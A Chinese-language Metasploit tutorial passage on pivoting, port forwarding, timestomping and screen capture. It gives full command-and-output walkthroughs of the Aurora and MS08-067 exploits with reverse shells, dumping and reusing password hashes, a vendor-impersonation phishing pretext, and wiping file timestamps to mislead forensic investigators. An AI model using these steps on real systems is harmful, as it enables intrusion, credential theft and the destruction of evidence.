现在有一个捕获文件等着我们,可以在Wireshark或tshak等工具中对其进行分析。我们将快速浏览一下,看看我们是否捕获了任何有趣的东西。

root@kali:~/logs/packetrecorder/XEN-XP-SP2-BARE_20101119.5105# tshark -r XEN-XP-SP2-BARE_20101119.5105.cap |grep PASS
Running as user "root" and group "root". This could be dangerous.
2489  82.000000 192.168.1.201 -> 209.132.183.61 FTP Request: PASS s3cr3t
2685  96.000000 192.168.1.201 -> 209.132.183.61 FTP Request: PASS s3cr3t

8. Pivoting(透视)

Pivoting 是使用实例(也称为"工厂"或"立足点")能够在网络内部移动的独特技术。基本上使用第一个折衷方案来允许甚至帮助其他无法访问的系统进行折衷。在这种情况下,我们将使用它来路由来自通常不可路由的网络的流量。

例如,我们是 Security-R-Us 的渗透测试人员。拉取公司目录并决定以目标 IT 部门中的用户为目标。您打电话给用户并声称您来自供应商,并希望他们访问您的网站以下载安全补丁。在您指向它们的 URL 上,您正在运行 Internet Explorer 漏洞利用程序。

msf > use exploit/windows/browser/ms10_002_aurora
msf exploit(ms10_002_aurora) > show optionsModule options:Name        Current Setting  Required  Description----        ---------------  --------  -----------SRVHOST     0.0.0.0          yes       The local host to listen on.SRVPORT     8080             yes       The local port to listen on.SSL         false            no        Negotiate SSL for incoming connectionsSSLVersion  SSL3             no        Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1)URIPATH                      no        The URI to use for this exploit (default is random)Exploit target:Id  Name--  ----0   Automaticmsf exploit(ms10_002_aurora) > set URIPATH /
URIPATH => /
msf exploit(ms10_002_aurora) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(ms10_002_aurora) > set LHOST 192.168.1.101
LHOST => 192.168.1.101
msf exploit(ms10_002_aurora) > exploit -j
[*] Exploit running as background job.[*] Started reverse handler on 192.168.1.101:4444
[*] Using URL: http://0.0.0.0:8080/
[*]  Local IP: http://192.168.1.101:8080/
[*] Server started.
msf exploit(ms10_002_aurora) >

当目标访问我们的恶意 URL 时,将为我们打开一个Meterpreter会话,以便我们完全访问系统。

msf exploit(ms10_002_aurora) >
[*] Sending Internet Explorer "Aurora" Memory Corruption to client 192.168.1.201
[*] Sending stage (749056 bytes) to 192.168.1.201
[*] Meterpreter session 1 opened (192.168.1.101:4444 -> 192.168.1.201:8777) at Mon Dec 06 08:22:29 -0700 2010msf exploit(ms10_002_aurora) > sessions -lActive sessions
===============Id  Type                   Information                                      Connection--  ----                   -----------                                      ----------1   meterpreter x86/win32  XEN-XP-SP2-BARE\Administrator @ XEN-XP-SP2-BARE  192.168.1.101:4444 -> 192.168.1.201:8777msf exploit(ms10_002_aurora) >

当我们连接到我们的meterpreter会话时,我们运行ipconfig,并看到被利用的系统是双重宿主的,这是IT人员之间的常见配置。

msf exploit(ms10_002_aurora) > sessions -i 1
[*] Starting interaction with 1...meterpreter > ipconfigCitrix XenServer PV Ethernet Adapter #2 - Packet Scheduler Miniport
Hardware MAC: d2:d6:70:fa:de:65
IP Address  : 10.1.13.3
Netmask     : 255.255.255.0MS TCP Loopback interface
Hardware MAC: 00:00:00:00:00:00
IP Address  : 127.0.0.1
Netmask     : 255.0.0.0Citrix XenServer PV Ethernet Adapter - Packet Scheduler Miniport
Hardware MAC: c6:ce:4e:d9:c9:6e
IP Address  : 192.168.1.201
Netmask     : 255.255.255.0meterpreter >

我们希望利用这些新发现的信息并攻击这个额外的网络。Metasploit有一个autoroute meterpreter脚本,它将允许我们通过第一台受感染的机器攻击第二个网络。

meterpreter > run autoroute -h
[*] Usage:   run autoroute [-r] -s subnet -n netmask
[*] Examples:
[*]   run autoroute -s 10.1.1.0 -n 255.255.255.0  # Add a route to 10.10.10.1/255.255.255.0
[*]   run autoroute -s 10.10.10.1                 # Netmask defaults to 255.255.255.0
[*]   run autoroute -s 10.10.10.1/24              # CIDR notation is also okay
[*]   run autoroute -p                            # Print active routing table
[*]   run autoroute -d -s 10.10.10.1              # Deletes the 10.10.10.1/255.255.255.0 route
[*] Use the "route" and "ipconfig" Meterpreter commands to learn about available routes
meterpreter > run autoroute -s 10.1.13.0/24
[*] Adding a route to 10.1.13.0/255.255.255.0...
[+] Added route to 10.1.13.0/255.255.255.0 via 192.168.1.201
[*] Use the -p option to list all active routes
meterpreter > run autoroute -pActive Routing Table
====================Subnet             Netmask            Gateway------             -------            -------10.1.13.0          255.255.255.0      Session 1meterpreter >

现在我们已经添加了额外的路由,我们将升级到SYSTEM,转储密码哈希,并通过按Ctrl-z来后台运行我们的meterpreter会话。

meterpreter > getsystem
...got system (via technique 1).
meterpreter > run hashdump
[*] Obtaining the boot key...
[*] Calculating the hboot key using SYSKEY c2ec80f879c1b5dc8d2b64f1e2c37a45...
[*] Obtaining the user list and keys...
[*] Decrypting user keys...
[*] Dumping password hashes...Administrator:500:81cbcea8a9af93bbaad3b435b51404ee:561cbdae13ed5abd30aa94ddeb3cf52d:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
HelpAssistant:1000:9a6ae26408b0629ddc621c90c897b42d:07a59dbe14e2ea9c4792e2f189e2de3a:::
SUPPORT_388945a0:1002:aad3b435b51404eeaad3b435b51404ee:ebf9fa44b3204029db5a8a77f5350160:::
victim:1004:81cbcea8a9af93bbaad3b435b51404ee:561cbdae13ed5abd30aa94ddeb3cf52d:::meterpreter >
Background session 1? [y/N]
msf exploit(ms10_002_aurora) >

现在我们需要确定我们发现的第二个网络上是否有其他系统。我们将使用基本的 TCP 端口扫描程序来查找端口 139 和 445。

msf exploit(ms10_002_aurora) > use auxiliary/scanner/portscan/tcp
msf auxiliary(tcp) > show optionsModule options:Name         Current Setting  Required  Description----         ---------------  --------  -----------CONCURRENCY  10               yes       The number of concurrent ports to check per hostFILTER                        no        The filter string for capturing trafficINTERFACE                     no        The name of the interfacePCAPFILE                      no        The name of the PCAP capture file to processPORTS        1-10000          yes       Ports to scan (e.g. 22-25,80,110-900)RHOSTS                        yes       The target address range or CIDR identifierSNAPLEN      65535            yes       The number of bytes to captureTHREADS      1                yes       The number of concurrent threadsTIMEOUT      1000             yes       The socket connect timeout in millisecondsVERBOSE      false            no        Display verbose outputmsf auxiliary(tcp) > set RHOSTS 10.1.13.0/24
RHOST => 10.1.13.0/24
msf auxiliary(tcp) > set PORTS 139,445
PORTS => 139,445
msf auxiliary(tcp) > set THREADS 50
THREADS => 50
msf auxiliary(tcp) > run[*] 10.1.13.3:139 - TCP OPEN
[*] 10.1.13.3:445 - TCP OPEN
[*] 10.1.13.2:445 - TCP OPEN
[*] 10.1.13.2:139 - TCP OPEN
[*] Scanned 256 of 256 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(tcp) >

我们在此网络上发现了另一台打开端口 139 和 445 的计算机,因此我们将尝试将收集的密码哈希与 windows/smb/psexec 漏洞利用模块重用。由于许多公司使用映像软件,因此整个企业的本地管理员密码通常相同。

msf auxiliary(tcp) > use exploit/windows/smb/psexec
msf exploit(psexec) > show optionsModule options:Name       Current Setting  Required  Description----       ---------------  --------  -----------RHOST                       yes       The target addressRPORT      445              yes       Set the SMB service portSMBDomain  WORKGROUP        no        The Windows domain to use for authenticationSMBPass                     no        The password for the specified usernameSMBUser                     no        The username to authenticate asExploit target:Id  Name--  ----0   Automaticmsf exploit(psexec) > set RHOST 10.1.13.2
RHOST => 10.1.13.2
msf exploit(psexec) > set SMBUser Administrator
SMBUser => Administrator
msf exploit(psexec) > set SMBPass 81cbcea8a9af93bbaad3b435b51404ee:561cbdae13ed5abd30aa94ddeb3cf52d
SMBPass => 81cbcea8a9af93bbaad3b435b51404ee:561cbdae13ed5abd30aa94ddeb3cf52d
msf exploit(psexec) > set PAYLOAD windows/meterpreter/bind_tcp
PAYLOAD => windows/meterpreter/bind_tcp
msf exploit(psexec) > exploit[*] Connecting to the server...
[*] Started bind handler
[*] Authenticating to 10.1.13.2:445|WORKGROUP as user 'Administrator'...
[*] Uploading payload...
[*] Created \qNuIKByV.exe...
[*] Binding to 367abb81-9844-35f1-ad32-98f038001003:2.0@ncacn_np:10.1.13.2[\svcctl] ...
[*] Bound to 367abb81-9844-35f1-ad32-98f038001003:2.0@ncacn_np:10.1.13.2[\svcctl] ...
[*] Obtaining a service manager handle...
[*] Creating a new service (UOtrbJMd - "MNYR")...
[*] Closing service handle...
[*] Opening service...
[*] Starting the service...
[*] Removing the service...
[*] Closing service handle...
[*] Deleting \qNuIKByV.exe...
[*] Sending stage (749056 bytes)
[*] Meterpreter session 2 opened (192.168.1.101-192.168.1.201:0 -> 10.1.13.2:4444) at Mon Dec 06 08:56:42 -0700 2010meterpreter >

我们的攻击已经成功了!您可以在上面的输出中看到,我们有一个meterpreter会话通过现有的meterpreter会话192.168.1.201连接到10.1.13.2。在我们新受感染的计算机上运行ipconfig表明我们到达了一个通常无法访问的系统。

meterpreter > ipconfigCitrix XenServer PV Ethernet Adapter
Hardware MAC: 22:73:ff:12:11:4b
IP Address  : 10.1.13.2
Netmask     : 255.255.255.0MS TCP Loopback interface
Hardware MAC: 00:00:00:00:00:00
IP Address  : 127.0.0.1
Netmask     : 255.0.0.0meterpreter >

如您所见,Pivoting是一项非常强大的功能,也是渗透测试中的关键功能。

1)Portfwd

来自Meterpreter shell中的portfwd命令最常用作一种pivoting技术,允许直接访问攻击系统无法访问的计算机。在同时访问攻击者和目标网络(或系统)的受感染主机上运行此命令,我们基本上可以通过这台机器转发TCP连接,有效地使其成为一个枢轴点。与用于 ssh 连接的端口转发技术非常相似,portfwd 将在连接的计算机之间中继 TCP 连接。

a)帮助

在活动的 Meterpreter 会话中,键入 portfwd –h 将显示命令的各种选项和参数。

meterpreter > portfwd -h
Usage: portfwd [-h] [add | delete | list | flush] [args]
OPTIONS:-L >opt>  The local host to listen on (optional).-h        Help banner.-l >opt>  The local port to listen on.-p >opt>  The remote port to connect on.-r >opt>  The remote host to connect on.
meterpreter >

b)选项

  • -L:用于指定侦听主机。除非需要在特定网络适配器上进行转发,否则可以省略此选项。如果未输入任何内容,则将使用 0.0.0.0。
  • -h:显示上述信息。
  • -l:这是一个本地端口,它将侦听攻击机器。与此端口的连接将转发到远程系统。
  • -p:TCP 连接将转发到的端口。
  • -r:连接中继到的 IP 地址(目标)。

c)参数

  • add:此参数用于创建转发。
  • delete:这将从转发的端口列表中删除以前的条目。
  • list:这将列出当前转发的所有端口。
  • flush:这将从我们的转发列表中删除所有端口。

d)语法——add

在 Meterpreter shell 中,该命令按以下方式使用:

meterpreter > portfwd add –l 3389 –p 3389 –r  [target host]
  • add 会将端口转发添加到列表中,并且基本上会为我们创建一个隧道。请注意,此隧道也将存在于 Metasploit 控制台之外,使其可供任何终端会话使用。
  • -l 3389 是将侦听并转发到目标的本地端口。这可以是计算机上的任何端口,只要尚未使用即可。
  • -p 3389 是我们目标主机上的目标端口。
  • -r [目标主机] 是我们目标系统的 IP 或主机名。
meterpreter > portfwd add –l 3389 –p 3389 –r 172.16.194.191
[*] Local TCP relay created: 0.0.0.0:3389 >-> 172.16.194.191:3389
meterpreter >

e)语法——delete

删除条目与上一个命令非常相似。再次从活动的Meterpreter会话中,我们将键入以下内容:

meterpreter > portfwd delete –l 3389 –p 3389 –r 172.16.194.191
[*] Successfully stopped TCP relay on 0.0.0.0:3389
meterpreter >

f)语法——list

此参数不需要任何选项,并为我们提供当前侦听和转发端口的列表。

meterpreter > portfwd list
0: 0.0.0.0:3389 -> 172.16.194.191:3389
1: 0.0.0.0:1337 -> 172.16.194.191:1337
2: 0.0.0.0:2222 -> 172.16.194.191:22223 total local port forwards.
meterpreter >

g)语法——flush

此参数将允许我们一次删除所有本地端口转发。

meterpreter > portfwd flush
[*] Successfully stopped TCP relay on 0.0.0.0:3389
[*] Successfully stopped TCP relay on 0.0.0.0:1337
[*] Successfully stopped TCP relay on 0.0.0.0:2222
[*] Successfully flushed 3 rules
meterpreter > portfwd list0 total local port forwards
meterpreter >

用法示例:

在此示例中,我们将在本地计算机上打开一个端口,并让 Meterpreter 会话将连接转发到同一端口上的受害者。我们将使用端口 3389,这是远程桌面连接的 Windows 默认端口。

以下是参与其中的受害者机器:

C:\> ipconfigWindows IP ConfigurationEthernet adapter Local Area Connection 3:Connection-specific DNS Suffix . : localdomainIP Address.  .  .  .  .  .  .  .  . 172.16.194.141Subnet Mask.  .  . .  .  .  .  .  . 255.255.255.0Default Gateway. . .  .  .  .  .  . 172.16.194.2C:\>

以下为我们的Pivot机:

meterpreter > ipconfigMS TCP Loopback interface
Hardware MAC: 00:00:00:00:00:00
IP Address  : 127.0.0.1
Netmask     : 255.0.0.0VMware Accelerated AMD PCNet Adapter - Packet Scheduler Miniport
Hardware MAC: 00:aa:00:aa:00:aa
IP Address  : 172.16.194.144
Netmask     : 255.0.0.0AMD PCNET Family PCI Ethernet Adapter - Packet Scheduler Miniport
Hardware MAC: 00:bb:00:bb:00:bb
IP Address  : 192.168.1.191
Netmask     : 255.0.0.0

以下为攻击者计算机

root@kali:~# ifconfig eth1
eth1     Link encap:Ethernet  HWaddr 0a:0b:0c:0d:0e:0f  inet addr:192.168.1.162  Bcast:192.168.1.255  Mask:255.255.255.0inet6 addr: fe80::20c:29ff:fed6:ab38/64 Scope:LinkUP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1RX packets:1357685 errors:0 dropped:0 overruns:0 frame:0TX packets:823428 errors:0 dropped:0 overruns:0 carrier:0collisions:0 txqueuelen:1000 RX bytes:318385612 (303.6 MiB)  TX bytes:133752114 (127.5 MiB)Interrupt:19 Base address:0x2000root@kali:~# ping 172.16.194.141
PING 172.16.194.141 (172.16.194.141) 56(84) bytes of data.
64 bytes from 172.16.194.141: icmp_req=1 ttl=128 time=240 ms
64 bytes from 172.16.194.141: icmp_req=2 ttl=128 time=117 ms
64 bytes from 172.16.194.141: icmp_req=3 ttl=128 time=119 ms
^C
--- 172.16.194.141 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2003ms
rtt min/avg/max/mdev = 117.759/159.378/240.587/57.430 msroot@kali:~#

首先,我们使用以下命令在Pivot上设置端口转发:

meterpreter > portfwd add –l 3389 –p 3389 –r 172.16.194.141

我们通过从另一个终端发出 netstat 命令来验证端口 3389 是否正在侦听。

本地计算机的侦听端口
root@kali:~# netstat -antp
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      8397/sshd
.....
tcp        0      0 0.0.0.0:3389            0.0.0.0:*               LISTEN      2045/.ruby.bin
.....
tcp6       0      0 :::22                   :::*                    LISTEN      8397/sshd
root@kali:~#

我们可以看到 0.0.0.0 正在侦听端口 3389 以及端口 4444 上与Pivot计算机的连接。

从这里,我们可以启动到本地3389端口的远程桌面连接。这将转发到相应端口上的受害者机器。

使用 portfwd 的另一个示例是使用它来转发利用漏洞模块,如 MS08-067。
使用与前面显示的相同的技术,只需为所需的漏洞转发正确的端口即可。

在这里,我们转发了端口 445,这是与 Windows Server 消息块 (SMB) 关联的端口。
配置模块目标主机和转发套接字的端口。漏洞通过我们的Pivot发送到受害机器。

MS08-067 via Pivot
msf exploit(ms08_067_netapi) > show optionsModule options (exploit/windows/smb/ms08_067_netapi):Name     Current Setting  Required  Description----     ---------------  --------  -----------RHOST    127.0.0.1        yes       The target addressRPORT    445              yes       Set the SMB service portSMBPIPE  BROWSER          yes       The pipe name to use (BROWSER, SRVSVC)Payload options (windows/shell/reverse_tcp):Name      Current Setting  Required  Description----      ---------------  --------  -----------EXITFUNC  thread           yes       Exit technique (accepted: seh, thread, process, none)LHOST     192.168.1.162    yes       The listen addressLPORT     4444             yes       The listen portExploit target:Id  Name--  ----0   Automatic Targetingmsf exploit(ms08_067_netapi) > exploit[*] Started reverse handler on 192.168.1.162:4444
[*] Automatically detecting the target...
[*] Fingerprint: Windows 2003 - Service Pack 2 - lang:Unknown
[*] We could not detect the language pack, defaulting to English
[*] Selected Target: Windows 2003 SP2 English (NX)
[*] Attempting to trigger the vulnerability...
[*] Sending stage (240 bytes) to 192.168.1.159
[-] Exploit exception: Stream # is closed.Microsoft Windows [Version 5.2.3790]
(C) Copyright 1985-2003 Microsoft Corp.C:\WINDOWS\system32>

9. 时间戳

与大多数文件系统交互就像在雪地里行走…你会留下脚印。这些脚印有多详细,从中可以学到多少,以及它们持续多长时间都取决于各种情况。分析这些伪像的艺术是数字取证。由于各种原因,在进行渗透测试时,您可能希望使取证分析师难以确定您采取的操作。

避免取证调查检测到的最佳方法很简单:不要接触文件系统!这是Meterpreter的美妙之处之一,它可以加载到内存中,而无需将任何内容写入磁盘,从而大大减少了它在系统上留下的伪影。但是,在许多情况下,您可能必须以某种方式与文件系统进行交互。在这些情况下,时间戳可以是一个很好的工具。

让我们看一下系统上的文件以及该文件的 MAC(已修改、访问、已更改)时间:

File Path: C:\Documents and Settings\P0WN3D\My Documents\test.txt
Created Date: 5/3/2009 2:30:08 AM
Last Accessed: 5/3/2009 2:31:39 AM
Last Modified: 5/3/2009 2:30:36 AM

现在,我们将从利用系统并加载Meterpreter会话开始。之后,我们将加载timesttop模块并快速查看有问题的文件。

msf exploit(warftpd_165_user) > exploit[*] Handler binding to LHOST 0.0.0.0
[*] Started reverse handler
[*] Connecting to FTP server 172.16.104.145:21...
[*] Connected to target FTP server.
[*] Trying target Windows 2000 SP0-SP4 English...
[*] Transmitting intermediate stager for over-sized stage...(191 bytes)
[*] Sending stage (2650 bytes)
[*] Sleeping before handling stage...
[*] Uploading DLL (75787 bytes)...
[*] Upload completed.
[*] meterpreter session 1 opened (172.16.104.130:4444 -> 172.16.104.145:1218)
meterpreter > use priv
Loading extension priv...success.
meterpreter > timestomp -hUsage: timestomp OPTIONS file_pathOPTIONS:-a   Set the "last accessed" time of the file-b        Set the MACE timestamps so that EnCase shows blanks-c   Set the "creation" time of the file-e   Set the "mft entry modified" time of the file-f   Set the MACE of attributes equal to the supplied file-h        Help banner-m   Set the "last written" time of the file-r        Set the MACE timestamps recursively on a directory-v        Display the UTC MACE values of the file-z   Set all four attributes (MACE) of the filemeterpreter > pwd
C:\Program Files\War-ftpd
meterpreter > cd ..
meterpreter > pwd
C:Program Files
meterpreter > cd ..
meterpreter > cd Documents\ and\ Settings
meterpreter > cd P0WN3D
meterpreter > cd My\ Documents
meterpreter > lsListing: C:\Documents and Settings\P0WN3D\My Documents
======================================================Mode              Size  Type  Last modified                   Name
----              ----  ----  -------------                   ----
40777/rwxrwxrwx   0     dir   Wed Dec 31 19:00:00 -0500 1969  .
40777/rwxrwxrwx   0     dir   Wed Dec 31 19:00:00 -0500 1969  ..
40555/r-xr-xr-x   0     dir   Wed Dec 31 19:00:00 -0500 1969  My Pictures
100666/rw-rw-rw-  28    fil   Wed Dec 31 19:00:00 -0500 1969  test.txt
meterpreter > timestomp test.txt -v
Modified      : Sun May 03 04:30:36 -0400 2009
Accessed      : Sun May 03 04:31:51 -0400 2009
Created       : Sun May 03 04:30:08 -0400 2009
Entry Modified: Sun May 03 04:31:44 -0400 2009

让我们看一下显示的 MAC 时间。我们看到该文件是最近创建的。让我们假装一分钟,这是一个我们需要隐藏的超级秘密工具。执行此操作的一种方法可能是将 MAC 时间设置为与系统上另一个文件的 MAC 时间相匹配。让我们将MAC时间从cmd.exe复制到test.txt,以使其更好地融合。

meterpreter > timestomp test.txt -f C:\\WINNT\\system32\\cmd.exe
[*] Setting MACE attributes on test.txt from C:\WINNT\system32\cmd.exe
meterpreter > timestomp test.txt -v
Modified      : Tue Dec 07 08:00:00 -0500 1999
Accessed      : Sun May 03 05:14:51 -0400 2009
Created       : Tue Dec 07 08:00:00 -0500 1999
Entry Modified: Sun May 03 05:11:16 -0400 2009

我们开始吧!现在看起来好像test.txt文件是在1999年12月7日创建的。让我们看看它从Windows看起来如何。

File Path: C:\Documents and Settings\P0WN3D\My Documents\test.txt
Created Date: 12/7/1999 7:00:00 AM
Last Accessed: 5/3/2009 3:11:16 AM
Last Modified: 12/7/1999 7:00:00 AM

成功!请注意,通过Windows和Metasploit的时间之间存在一些细微的差异。这是由于时区的显示方式。Windows 显示的时间为 -0600,而 Metasploit 显示 MC 时间为 -0500。当针对时区差异进行调整时,我们可以看到它们匹配。另请注意,在 Windows 中检查文件信息的操作更改了上次访问时间。这只是表明MAC时代是多么脆弱,以及为什么在与MAC互动时必须格外小心。

现在让我们进行不同的更改。在前面的示例中,我们希望使更改混合在一起,但在某些情况下,这是不现实的,您所能希望的最好结果是使调查人员更难确定更改实际发生的时间。对于这些情况,timetomp 有一个很好的选项(-b 表示空白),它将文件的 MAC 时间清零。让我们来看看。

meterpreter > timestomp test.txt -v
Modified      : Tue Dec 07 08:00:00 -0500 1999
Accessed      : Sun May 03 05:16:20 -0400 2009
Created       : Tue Dec 07 08:00:00 -0500 1999
Entry Modified: Sun May 03 05:11:16 -0400 2009meterpreter > timestomp test.txt -b
[*] Blanking file MACE attributes on test.txt
meterpreter > timestomp test.txt -v
Modified      : 2106-02-06 23:28:15 -0700
Accessed      : 2106-02-06 23:28:15 -0700
Created       : 2106-02-06 23:28:15 -0700
Entry Modified: 2106-02-06 23:28:15 -0700

在解析 MAC 时间时,timetomp 现在将它们列为在 2106 年创建的!。这是非常有趣的,因为一些写得很差的取证工具也有同样的问题,当遇到这样的条目时会崩溃。让我们看看该文件在Windows中的外观。

File Path: C:\Documents and Settings\P0WN3D\My Documents\test.txt
Created Date: 1/1/1601
Last Accessed: 5/3/2009 3:21:13 AM
Last Modified: 1/1/1601

非常有趣!请注意,时间不再显示,并且数据设置为 1601 年 1 月 1 日。任何想法为什么会这样?(提示:http://en.wikipedia.org/wiki/1601#Notes)

meterpreter > cd C:\\WINNT
meterpreter > mkdir antivirus
Creating directory: antivirus
meterpreter > cd antivirus
meterpreter > pwd
C:\WINNT\antivirus
meterpreter > upload /usr/share/windows-binaries/fgdump c:\\WINNT\\antivirus\\
[*] uploading  : /usr/share/windows-binaries/fgdump/servpw.exe -> c:WINNTantivirusPwDump.exe
[*] uploaded   : /usr/share/windows-binaries/fgdump/servpw.exe -> c:WINNTantivirusPwDump.exe
[*] uploading  : /usr/share/windows-binaries/fgdump/cachedump64.exe -> c:WINNTantivirusLsaExt.dll
[*] uploaded   : /usr/share/windows-binaries/fgdump/cachedump64.exe -> c:WINNTantivirusLsaExt.dll
[*] uploading  : /usr/share/windows-binaries/fgdump/pstgdump.exe -> c:WINNTantiviruspwservice.exe
[*] uploaded   : /usr/share/windows-binaries/fgdump/pstgdump.exe -> c:WINNTantiviruspwservice.exe
meterpreter > lsListing: C:\WINNT\antivirus
===========================Mode              Size    Type  Last modified                   Name
----              ----    ----  -------------                   ----
100777/rwxrwxrwx  174080  fil   2017-05-09 15:23:19 -0600  cachedump64.exe
100777/rwxrwxrwx  57344   fil   2017-05-09 15:23:20 -0600  pstgdump.exe
100777/rwxrwxrwx  57344   fil   2017-05-09 15:23:18 -0600  servpw.exe
meterpreter > cd ..

上传文件后,我们现在将对它们运行timestomp,以混淆任何潜在的调查人员。

meterpreter > timestomp antivirus\\servpw.exe -v
Modified      : 2017-05-09 16:23:18 -0600
Accessed      : 2017-05-09 16:23:18 -0600
Created       : 2017-05-09 16:23:18 -0600
Entry Modified: 2017-05-09 16:23:18 -0600
meterpreter > timestomp antivirus\\pstgdump.exe -v
Modified      : 2017-05-09 16:23:20 -0600
Accessed      : 2017-05-09 16:23:19 -0600
Created       : 2017-05-09 16:23:19 -0600
Entry Modified: 2017-05-09 16:23:20 -0600
meterpreter > timestomp antivirus -r
[*] Blanking directory MACE attributes on antivirusmeterpreter > ls
40777/rwxrwxrwx   0      dir   1980-01-01 00:00:00 -0700  ..
100666/rw-rw-rw-  115    fil   2106-02-06 23:28:15 -0700  servpw.exe
100666/rw-rw-rw-  12165  fil   2106-02-06 23:28:15 -0700  pstgdump.exe

如您所见,Meterpreter无法再获得正确的目录列表。

但是,在这种情况下需要考虑一些因素。我们已经隐藏了行动发生的时间,但对于调查人员来说,活动发生的位置仍然非常明显。如果我们想在上传工具包时和上传位置都隐藏,我们会怎么做?

解决此问题的最简单方法是将整个驱动器上的时间归零。这将使调查员的工作非常困难,因为传统的时间线分析是不可能的。让我们首先看一下 WINNT\system32 目录。

一切看起来都很正常。现在,让我们把文件系统抖得非常糟糕!

meterpreter > pwd
C:WINNT\antivirus
meterpreter > cd ../..
meterpreter > pwd
C:
meterpreter > lsListing: C:\
============Mode              Size       Type  Last modified                   Name
----              ----       ----  -------------                   ----
100777/rwxrwxrwx  0          fil   Wed Dec 31 19:00:00 -0500 1969  AUTOEXEC.BAT
100666/rw-rw-rw-  0          fil   Wed Dec 31 19:00:00 -0500 1969  CONFIG.SYS
40777/rwxrwxrwx   0          dir    Wed Dec 31 19:00:00 -0500 1969  Documents and Settings
100444/r--r--r--  0          fil   Wed Dec 31 19:00:00 -0500 1969  IO.SYS
100444/r--r--r--  0          fil   Wed Dec 31 19:00:00 -0500 1969  MSDOS.SYS
100555/r-xr-xr-x  34468      fil   Wed Dec 31 19:00:00 -0500 1969  NTDETECT.COM
40555/r-xr-xr-x   0          dir   Wed Dec 31 19:00:00 -0500 1969  Program Files
40777/rwxrwxrwx   0          dir   Wed Dec 31 19:00:00 -0500 1969  RECYCLER
40777/rwxrwxrwx   0          dir   Wed Dec 31 19:00:00 -0500 1969  System Volume Information
40777/rwxrwxrwx   0          dir   Wed Dec 31 19:00:00 -0500 1969  WINNT
100555/r-xr-xr-x  148992     fil   Wed Dec 31 19:00:00 -0500 1969  arcldr.exe
100555/r-xr-xr-x  162816     fil   Wed Dec 31 19:00:00 -0500 1969  arcsetup.exe
100666/rw-rw-rw-  192        fil   Wed Dec 31 19:00:00 -0500 1969  boot.ini
100444/r--r--r--  214416     fil   Wed Dec 31 19:00:00 -0500 1969  ntldr
100666/rw-rw-rw-  402653184  fil   Wed Dec 31 19:00:00 -0500 1969  pagefile.sys              meterpreter > timestomp C:\\ -r
[*] Blanking directory MACE attributes on C:\
meterpreter > ls
meterpreter > lsListing: C:\
============Mode              Size       Type  Last modified              Name
----              ----       ----  -------------              ----
100777/rwxrwxrwx  0          fil   2106-02-06 23:28:15 -0700  AUTOEXEC.BAT
100666/rw-rw-rw-  0          fil   2106-02-06 23:28:15 -0700  CONFIG.SYS
100666/rw-rw-rw-  0          fil   2106-02-06 23:28:15 -0700  Documents and Settings
100444/r--r--r--  0          fil   2106-02-06 23:28:15 -0700  IO.SYS
100444/r--r--r--  0          fil   2106-02-06 23:28:15 -0700  MSDOS.SYS
100555/r-xr-xr-x  47564      fil   2106-02-06 23:28:15 -0700  NTDETECT.COM
...snip...

那么,在那之后,Windows看到了什么呢?

了不起。Windows不知道发生了什么,到处显示疯狂的时间。但是,不要过于自信。通过执行此操作,您还非常明显地表明系统上发生了一些不良活动。此外,除了MAC时间之外,Windows系统上还有许多不同的时间轴信息来源。如果法医调查员遇到以这种方式修改的系统,他们将运行到这些替代信息源。然而,进行调查的成本只是上升了。

10. 屏幕截图

meterpreter的另一个功能是能够捕获受害者桌面并将其保存在您的系统上。让我们快速看一下它是如何工作的。我们已经假设你有一个meterpreter控制台,我们将看看受害者屏幕上的内容。

[*] Started bind handler
[*] Trying target Windows XP SP2 - English...
[*] Sending stage (719360 bytes)
[*] Meterpreter session 1 opened (192.168.1.101:34117 -> 192.168.1.104:4444)meterpreter > psProcess list
============PID   Name                 Path---   ----                 ----180   notepad.exe          C:\WINDOWS\system32\notepad.exe248   snmp.exe             C:\WINDOWS\System32\snmp.exe260   Explorer.EXE         C:\WINDOWS\Explorer.EXE284   surgemail.exe        c:\surgemail\surgemail.exe332   VMwareService.exe    C:\Program Files\VMware\VMware Tools\VMwareService.exe612   VMwareTray.exe       C:\Program Files\VMware\VMware Tools\VMwareTray.exe620   VMwareUser.exe       C:\Program Files\VMware\VMware Tools\VMwareUser.exe648   ctfmon.exe           C:\WINDOWS\system32\ctfmon.exe664   GrooveMonitor.exe    C:\Program Files\Microsoft Office\Office12\GrooveMonitor.exe728   WZCSLDR2.exe         C:\Program Files\ANI\ANIWZCS2 Service\WZCSLDR2.exe736   jusched.exe          C:\Program Files\Java\jre6\bin\jusched.exe756   msmsgs.exe           C:\Program Files\Messenger\msmsgs.exe816   smss.exe             \SystemRoot\System32\smss.exe832   alg.exe              C:\WINDOWS\System32\alg.exe904   csrss.exe            \??\C:\WINDOWS\system32\csrss.exe928   winlogon.exe         \??\C:\WINDOWS\system32\winlogon.exe972   services.exe         C:\WINDOWS\system32\services.exe984   lsass.exe            C:\WINDOWS\system32\lsass.exe1152  vmacthlp.exe         C:\Program Files\VMware\VMware Tools\vmacthlp.exe1164  svchost.exe          C:\WINDOWS\system32\svchost.exe1276  nwauth.exe           c:\surgemail\nwauth.exe1296  svchost.exe          C:\WINDOWS\system32\svchost.exe1404  svchost.exe          C:\WINDOWS\System32\svchost.exe1500  svchost.exe          C:\WINDOWS\system32\svchost.exe1652  svchost.exe          C:\WINDOWS\system32\svchost.exe1796  spoolsv.exe          C:\WINDOWS\system32\spoolsv.exe1912  3proxy.exe           C:\3proxy\bin\3proxy.exe2024  jqs.exe              C:\Program Files\Java\jre6\bin\jqs.exe2188  swatch.exe           c:\surgemail\swatch.exe2444  iexplore.exe         C:\Program Files\Internet Explorer\iexplore.exe3004  cmd.exe              C:\WINDOWS\system32\cmd.exemeterpreter > migrate 260
[*] Migrating to 260...
[*] Migration completed successfully.
meterpreter > use espia
Loading extension espia...success.
meterpreter > screengrab
Screenshot saved to: /root/nYdRUppb.jpeg
meterpreter >

我们可以看到这在迁移到资源管理器时的有效性.exe,请确保您的meterpreter所在的进程可以访问活动桌面,否则这将不起作用。

